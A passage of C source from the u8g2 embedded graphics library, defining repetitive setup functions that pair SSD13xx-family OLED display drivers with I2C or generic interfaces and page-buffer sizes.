rotation);\n}\n/* ssd1316 */\n/* ssd1316 1 */\nvoid u8g2_Setup_ssd1316_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 2 */\nvoid u8g2_Setup_ssd1316_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 f */\nvoid u8g2_Setup_ssd1316_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 */\n/* ssd1316 1 */\nvoid u8g2_Setup_ssd1316_i2c_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 2 */\nvoid u8g2_Setup_ssd1316_i2c_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 f */\nvoid u8g2_Setup_ssd1316_i2c_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1317 */\n/* ssd1317 1 */\nvoid u8g2_Setup_ssd1317_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1317 2 */\nvoid u8g2_Setup_ssd1317_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1317 f */\nvoid u8g2_Setup_ssd1317_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1317 */\n/* ssd1317 1 */\nvoid u8g2_Setup_ssd1317_i2c_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1317 2 */\nvoid u8g2_Setup_ssd1317_i2c_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1317 f */\nvoid u8g2_Setup_ssd1317_i2c_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1318 */\n/* ssd1318 1 */\nvoid u8g2_Setup_ssd1318_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1318_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1318 2 */\nvoid u8g2_Setup_ssd1318_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1318_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1318 f */\nvoid u8g2_Setup_ssd1318_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1318_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1318 */\n/* ssd1318 1 */\nvoid u8g2_Setup_ssd1318_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1318_i2c_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1318 2 */\nvoid u8g2_Setup_ssd1318_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1318_i2c_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1318 f */\nvoid u8g2_Setup_ssd1318_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1318_i2c_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1325 */\n/* ssd1325 1 */\nvoid u8g2_Setup_ssd1325_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1325 2 */\nvoid u8g2_Setup_ssd1325_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1325 f */\nvoid u8g2_Setup_ssd1325_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1325 */\n/* ssd1325 1 */\nvoid u8g2_Setup_ssd1325_i2c_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1325 2 */\nvoid u8g2_Setup_ssd1325_i2c_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1325 f */\nvoid u8g2_Setup_ssd1325_i2c_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd0323 */\n/* ssd0323 1 */\nvoid u8g2_Setup_ssd0323_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd0323 2 */\nvoid u8g2_Setup_ssd0323_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd0323 f */\nvoid u8g2_Setup_ssd0323_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd0323 */\n/* ssd0323 1 */\nvoid u8g2_Setup_ssd0323_i2c_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd0323 2 */\nvoid u8g2_Setup_ssd0323_i2c_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd0323 f */\nvoid u8g2_Setup_ssd0323_i2c_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1326 */\n/* ssd1326 1 */\nvoid u8g2_Setup_ssd1326_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1326 2 */\nvoid u8g2_Setup_ssd1326_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1326 f */\nvoid u8g2_Setup_ssd1326_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1326 */\n/* ssd1326 1 */\nvoid u8g2_Setup_ssd1326_i2c_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1326 2 */\nvoid u8g2_Setup_ssd1326_i2c_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1326 f */\nvoid u8g2_Setup_ssd1326_i2c_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_i2c_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_i2c_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_i2c_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = 